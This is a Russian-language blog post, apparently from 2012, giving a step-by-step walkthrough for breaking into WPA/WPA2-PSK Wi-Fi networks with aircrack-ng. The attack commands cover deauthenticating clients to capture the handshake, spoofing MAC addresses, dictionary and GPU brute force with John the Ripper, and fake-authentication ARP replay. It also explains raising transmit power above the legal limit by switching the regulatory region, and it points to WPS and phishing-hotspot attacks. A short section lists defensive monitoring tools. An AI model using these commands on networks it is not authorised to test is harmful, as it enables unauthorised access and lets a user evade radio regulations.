вторник, 20 ноября 2012 г.

Aircrack-ng

Методология получения пароля

Здесь и далее речь пойдёт о wifi сетях защищённых паролем одним паролем для всех клиентов (WPA-PSK). Хотя, есть и другие способы защитить сеть.
1. Для прослушивания эфира понадобится перевести карту в режим монитора (monitor), чтобы можно было беспрепятственно прослуживать, а самое главное записывать происходящее в эфире (на частоте wifi).
2. В этом режиме нужно будет поймать так называемое четырхэтапное (четырёхсторонее) рукопожатие происходящее в момент подключения клиента к точке доступа. 
3. Далее, получив эти пакеты, можно делать предположения о пароле - брутфорсить.

Самые интересные это этапы 2 и 3.
Этап 1. Каждый клиент использует свой ключ (Pairwise Transient Key — кратковременный парный ключ) для шифрования. Этот ключ создаётся в момент подключения к ТД и меняется при каждом подключении. Он зависит от:
Pairwise Master Key — главный парный ключ, который зависит от:
--  пароля,
-- названия сети;
- MAC клиента;
- MAC точки доступа;
- A-nonce - случайная строка сгенерированная ТД;
- S-nonce - случайная строка сгенерированная клиентом.

Механизм создания PMK, PTK и MIC.
Механизм создания PMK, PTK и MIC.


Таким образом, обычно кроме пароля атакующему неизвестны A-nonce и S-nonce, которыми ТД и клиент обмениваются при подключении последнего в начале четырёхстороннего рукопожатия. Именно ради них и нужно либо ждать подключения клиента, либо принуждать его к переподключению. Наконец нужно знать MIC, который передаётся клиентом вместе с S-nonce. Кроме того, нужно знать имя сети, он содержится в beacon frame.

Для брута пароля необходимы три WiFi кадра
Первый кадр - beacon frame не содержит ничего примечательного кроме имени сети.

Второй кадр: точка дочтупа отправляет A-nonce

Тритий кадр: клиент отвечает фреймом содежащим S-nonce и MIC


4 way handshake
4 way handshake

Когда вся необходимая информация собранна, остаётся к уже известным данным добавлять различные пароли и проверять их на пригодность.

Этап 3.
Чтобы подбирать пароль, нужно знать как проверить его на пригодность. Здесь это происходит путём сравнения MIC (Message Integrity Code - код целостности сообщения) переданного по wifi сети и вычисленного при брутфорсе. MIC зависит помимо прочего и от PTK, а значит перебирая пароли можно получать разные MIC и сравнивать их с перехваченным.

Подробнее о генерации ключей и о методе перебора можно почитать здесь.

Сперва последует некоторая воводно-подготовительная часть, а далее уже сам процесс проверки сети на защищённость. Причём, будут рассмотрены аспекты касающиеся в основном aircrack.

Режимы работы wifi карты [link]

Managed - управляемый режим (по-умолчанию). Устройство работает как клиент с точкой доступа.
Ad-Hoc - устройство является самостоятельной ячейкой одноранговой сети;
Master - Мастер (узел является мастером синхронизации или работает как Точка Доступа),
Repeater — Повторитель (узел перенаправляет пакеты между другими беспроводными узлами)
Secondary - Вторичный (узел выступает в качестве резервного мастера/повторителя),
Monitor — Контроль (узел связан со всеми ячейками и пассивно мониторит все пакеты на частоте)
Auto - Автоматический. 

iwconfig покажет режим работы wifi карты:
wlan0    IEEE 802.11  ESSID:"my_network" 
          Mode:Managed  Frequency:2.412 GHz  Access Point: 11:22:33:45:67:89  
          Bit Rate=1 Mb/s   Tx-Power=20 dBm  
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=56/70  Signal level=-54 dBm 
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:157   Missed beacon:0

Aircrack-ng

Aircrack-ng можно найти в LiveCD на основе Silitaz (сборка разработчиков Aircrack-ng), в Kali linux (ранее Backtrack) или установить отдельно. Имеются версии для Windows и Linux. Последняя предпочтительнее. Разработчики предлагают ещё образ для VMware, который работает исключительно с USB WiFi картами.
Все операции выполняются от имени суперпользователя. Далее будет рассмотрена версия aircrack-ng 1.2.
Best Compatible USB Wireless Adapter for BackTrack 5, Kali Linux and Aircrack-ng

Подготовка 

Посмотреть список сетевых устройств
airmon-ng
Перевести Wi-Fi карту в режим монитора. Здесь и далее имя wifi карты wlan0
airmon-ng start wlan0
таким же образом, только командой stop можно остановить монитор на сетевой карте.
По-умолчанию имя монитора wlan0mon, используем теперь его.
Некоторые программы могут вмешиватся в работу адаптера. Их список можно просмотреть:
airmon-ng check
 и при необходимости сделать попыку завершить их работу:
airmon-ng check kill
Проверить, поддерживает ли карта инъекцию пакетов (injection_test) [подробнее, doc]
aireplay-ng -9 wln0mon

Поменяем mac адрес карты, для этого отключаем её
ifconfig wlan0mon down
поменять MAC адрес сетевой карты на рандомный (-r) или какой-то определённый (-m 00:31:41:59:26:53)

macchanger wlan0mon -r
или
ifconfig wlan0mon hw ether 00:00:00:00:aa:bb
включаем сетевую карту
ifconfig mon0 up

Увеличение мощности WiFi сигнала

Не все карты поддерживают изменение мощности в руном режиме. Ограничения на мощность сигнала описаны в файле /lib/crda/regulatory.bin (просмотреть командой regdbdump /lib/crda/regulatory.bin), для России как и для многих других стран, мощность ограничена 20дБ:
country RU:
    (2402.000 - 2482.000 @ 40.000), (N/A, 20.00)
Для Белиза ограничения иные:
country BZ:
    (2402.000 - 2482.000 @ 40.000), (N/A, 30.00)
Поэтому просто сменив регион, можно установив большую мощность передаваемого (tx - transmit) радиосигнала.

ifconfig wlan0 downвыключаем интерфейс
macchanger -r wlan0меняем MAC
iw reg set BZвыставляем регион Белиз
iwconfig wlan0 txpower 30увеличиваем мощность
ifconfig wlan0 upподнимаем интерфейс
***

Метод перехвата handshake (WEP, WPA, WPA2)

Самый простой способ. Необходимо перехватить момент авторизации клиента, получить т.н. handshake и используя последний подобрать пароль уже в офлайне. Ждать пока один из клиентов сети подключится к ней не обязательно, можно отключить его от сети и подождать  переподключения, как правило оно происходит автоматически. Подробнее, но на английском: http://www.aircrack-ng.org/doku.php?id=cracking_wpa

1. Промониторить доступные WiFi сети:
airodump-ng <interface>
Например, --wps показать информацию о WPS, о производителе (-M) и времени (--uptime) работы точки доступа:
airodump-ng --wps -M --uptime wlan0mon
 CH  3 ][ Elapsed: 15 mins ][ 2015-09-02 10:16 ][                                                                                                
 PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH        UPTIME  WPS                ESSID                       MANUFACTURER            
                                                                                                                                                                
 E9:78:B0:BE:EF:38  -55     2057       98    0   5  54e. WPA2 CCMP   PSK    0d 03:24:58  1.0 ETHER,LAB,PBC  TP-LINK_BEEF38              TP-LINK TECHNOLOGIES CO 
 60:B3:4E:1A:08:6E  -59      992        3    0   1  54e  WPA2 CCMP   PSK    0d 05:08:05                     kv29                        SAGEMCOM                
 7D:51:A2:6D:3B:B3  -81     1045        0    0   5  54e. WPA2 CCMP   PSK    0d 01:27:42                     SoftAP                      Unknown                 
                                                                                                                                                               
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                     
                                                                                                                                                                
 (not associated)   8C:27:16:E7:65:86  -85    0 - 1      0        1                                                                                             
 (not associated)   9C:C5:E4:E6:D9:57  -88    0 - 1      0        9                                                                                             
 (not associated)   00:10:3B:24:B5:92  -70    0 - 1      0       61                                                                                             
 (not associated)   D7:4A:00:11:51:91  -93    0 - 1      0       49  Ivanov                                                                                
 E9:78:B0:BE:EF:38  8C:D1:07:BE:80:5F  -71    0e- 1e     0       37                                                                                             
 E9:78:B0:BE:EF:38  0C:BD:51:27:74:08  -65    0 - 1      0        8  
Следить за конкретной точкой доступа и клиентами удобнее, если перейти в режим выделения <TAB> и там уже выделить интересующую точку доступа, автоматически будут подсвечены и подключенный к ней клиенты. Клавишей M устанавливается постоянная "подсветка" цветом ТД и подключенных устройств. Отсортировать таблицу по определённому полю можно последовательным нажатием клавиши S.
2. Начать запись перехваченных пакетов сети в файл:
airodump-ng -c <chanel_number> -w <out-file> --bssid <bssid> <interface>
-c  номер прослушиваемого канала.
Сетевая карта в один момент времени способна прослушивать только один канал. Если в параметрах airodump-ng не указать конкретного канала, то карта будет слушать весь эфир, уделяя каждому отдельному каналу время и игнорируя данные передаваемые на других каналах.
-w  имя файла, куда будут сохранены пакеты.
--bssid - bssid точки доступа.

***
В случае если во время перехвата пакетов возникает ошибка "fixed channel -1" , то её можно попытаться исправить передав ключ --ignore-negative-one. Такой же ключ нужно передать и программе airoplay-ng. [askubuntu],[kali]

3. параллельно процессу перехвата пакетов:
посылка пакетов деаутентификации
airoplay-ng -0 5 -a <bssid> <interface>
-0     режим отсылки пакетов деаутентификации
-a     bssid точки доступа
     ssid клиента, кого следует деаутентифицировать (необязательный параметр)

4. Ждать получения handshake.
Пакеты деаутентификации посылаются напрямую клиентам, а они как правило имеют меньший радиус "слышимости" чем точка доступа. Проследить получение клиентом пакетов можно по количеству ответных ACK  пакетов от него.
возможно стоит поэкспериментировать со скоростью работы карты iwconfig <interface>  rate auto [1MB, 2MB, 11MB, 54MB, etc] чтобы она совпадала со скоростью работы точки доступа.

Иногда airodump-ng не сообщает о получении handshake, поэтому стоит время от времени проверять cap файл на наличие handshake.

Самый простой способ это сделать, открыть файл например с помощью wireshark и применить фильтр eapol.
Например:
tshark -r n-01.cap -Y "eapol"

Для брута пароля необходимо два первых последовательных пакета"рукопожатия" (производимого с ТД за 4 шага). В них содержатся случайные строки сгенерированные клиентом и ТД - A-nonce и S-nonce, которые необходимы для генерации ключа PTK, а также MIC который используется для подбора пароля.



Более быстрый, но чуть менее надежный (с практической точки зрения) результат может дать программа cowpatty:
cowpaty -c -r <cap_file> 
Вполне возможно, что данных для брута в cap файле достаточно, но cowpatty вполне справедливо может отметить, что handshake не полный.

Выдернуть только необходимые для брута пакеты из дампа способна утилита wpaclean, тем самым избавив от необходимости работы с возможно объёмным cap файлом:
wpaclean <новый-pcap-файл> <pcap-файл>

5. Если handshake получен, то приступить к подбору пароля
aircrack-ng <dump-file.cap> -w <pass_dict>
 <dump> - имя файла с дампом.
 -w  имя файла со словарём паролей.
вместе c Backtrack поставляется словарь, найти его можно здесь: /root/pentest/passwords/wordlists, aircrack-ng тоже содержит в директории_исходных_кодов\test\password.lst словарь.

Предварительно можно запустить бенчмарк для измерения скорости подбора:
aircrack-ng -S
а также показать сведенья о процессоре:
aircrack-ng -u
Для генерации собственного своего словаря можно использовать crunch.

Если есть необходимость применить правила трансформации для паролей из словаря, то можно использовать John The Ripper через конвейер:
/opt/john/john --stdout -w:wordlist.lst --rules | aircrack-ng handshake -b 11:22:22:22:22:22 -w -

JohnTheRipper-Jumbo тоже подойдёт для перебора. Однако нужно конвертировать handshake из pcap файла в понятный для John формат с помощью программы wpapcap2john, что поставляется вместе с версией сообщества JTR-Jumbo (git, ветка bleeding jumbo):
/opt/john/wpapcap2john dump.cap > handshake.john
/opt/john/john lar-handshake.john --format=wpapsk
Кроме использования правил, John может похвастаться возможностью сохранять состояние перебора, позволяя продолжить его в дальнейшем с того же места, где работа была прервана. 

Увеличить производительность брута поможет GPU. Для этого Windows можно использовать Elcomsoft Wireless Security Auditor, Linux - pyrit, но наверное лучшая программа для этого кросплатформенный oclHashcat.

 

 Fake authentation

airodump-ng -c <channel> -w <out_file> --bssid <bssid> <interface> # dumping...
# making fake authentication
aireplay-ng -l 0 -a <bssid> -h <my_ssid> <interface>
#start airplay-ng in ARP request replay mode (-3 )
aireplay-ng -3 -b <bssid> -h <my_ssid> <interface>
#cracking the password
aircrack-ng -n <64 or 128 or ..> --bssid <bssid> <cap file>


...

Защита wifi

SoftPerfect WiFi Guard (Windows, MacOS) производит сканирование сети с определённым интервалом. Предупреждает о подключении незнакомого устройства, показывает список WiFi клиентов.
SoftPerfect WiFi Guard
SoftPerfect WiFi Guard

waidps (python script). В число возможностей программы входит обнаружение атак и подозрительной активности в WiFi сетях. Ведёт логирование и предупреждает об атаках. Во время работы переводит WiFi адаптер в режим монитора.

 
пример вывода waidps.

(изображение с syworks.blogspot.ru)



 

Алсо

Тест скорости подбора паролей WPA (-S )
aircrack-ng -S
Подключение к wifi сети из командной строки
С использованием утилиты сходящей в состав Network Manager - nmcli [using nmcli], [also].
С программой довольно просто работать, ибо по двойному табу она показывает возможные команды. Кроме того, в руководстве есть примеры использования.
Просмотрим список доступных сетей:
nmcli dev wifi
SSID                              BSSID               РЕЖИМ            ЧАСТОТА    СКОРОСТЬ   СИГНАЛ   БЕЗОПАСНОСТЬ АКТИВЕН
'network1'                  C1:B0:C1:f6:AD:09   Инфраструктура   2417 МГц   54 МБ/с    69       WPA2       нет    
'network2'                  F0:37:AA:CF:F8:66   Инфраструктура   2462 МГц   54 МБ/с    62       WPA2       нет 
Этот способ можно использовать и для того, что сравнить уровень сигнала на нескольких картах одновременно. В этом случае, для каждого адаптера будет отображаться своя таблица.

Подключимся к новой сети с SSID "Cafe Hotspot 1" используя пароль caffeine
nmcli dev wifi con "Cafe Hotspot 1" password caffeine name "My cafe"

***
При подключении к сети MAC адрес карты может поменяться на дефолтный, поэтому перед сменой адреса карты следует отключать службу
network-manager: 

service network-manager stop
Другой путь - в настройках подключения Network Manager'a в поле cloned MAC указать вновь присвоенный карте MAC адрес.
***
Смена hostname: askubuntu.com


***
Подробная информация об адаптерах [askubuntu]
lshw -C network
или
iw list
***
Включение режима точки доступа WiFi карты с использование hostapd
habrahabr.ru
Стоит отметить, что hostapd игнорирует комментарии только в отдельных строках. Для проверки конфига ТД следует запускать не демон (service hostapd start), а использовать комманду (-dd для подробного вывода)
hostapd -dd <файл конфигурации>
Нормальной работе hostapd может мешать NetworkManager, поэтому следует либо его отключить либо добавать MAC адрес интерфейса в исключения.  [help.ubuntu]

Другие утилиты
Airodump-NG Scan Visualizer - поможет просмотреть CVS файл и поиграться с хранящимися там данными о сетях. В том числе покажет информацию о подключённых клиентах, уровне сигнала, шифровании перехваченных пакетах и т.п.

"Zero Security: A". Horst - утилита для анализа Wi-Fi сетей
Waidps – средство обнаружения атак в Wi-Fi сетях

Python

С помощью пакеты Scapy можно довольно легко анализировать сетевые пакеты. Wifi - пакет с нехитрым названием и функционалом похожим на iwlist: сканирование сетей и подключение к ним.
Violent Python - A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers, TJ O'Connor

Другие атаки
Использование reaver для восстановления PIN-кода WPS
Модификация форка Reaver — t6x — для использования атаки Pixie Dust
Фальшивый хотспот Wifiphisher автоматически собирает пароли

Отправка сообщения по окончанию процесса перебора
Процесс подбора пароля ожидаемо может быть долгим, поэтому логичным будет как-то информировать пользователя об его окончании. Самый простой путь - добавить комманду через точку с запятой после вызова aircrack:
aircrack-ng dump.cap -w wordlist; notify-send "John complited"
Обыкновенный вывод уведомления на экран программой notify-send не подходит, то можно отправить XMPP сообщение программой sendxmpp или емейл программой mailx. [linux notes]

Если возникает необходимость настроить отправку сообщения когда aircrack-ng уже запущен и нет желания прерывать его работу, то можно воспользоваться простеньким однострочным скриптом:
while [ `pidof aircrack-ng` ]; do sleep 10; done; notify-send "..."
Скрипт будет выполнять команду sleep 10, до тех пор пока он может получить pid процесса с именем aircrack-ng. Затем, когда pid не будет получен (процесс aircrack-ng завершится) выполнится следующая комманда - notify-send. Разумеется для корректной работы скрипта нужно чтобы работал только один экземпляр процесса aircrack-ng.

Ссылки

1 комментарий:

  1. Так всё сложно...Я тут видео посмотрела https://codeby.net/media/evil-twin-s-pomoschju-airgeddon.127/ про взлом вай фая, там несколько кнопочек нажать и всё, дело сделано.

    ОтветитьУдалить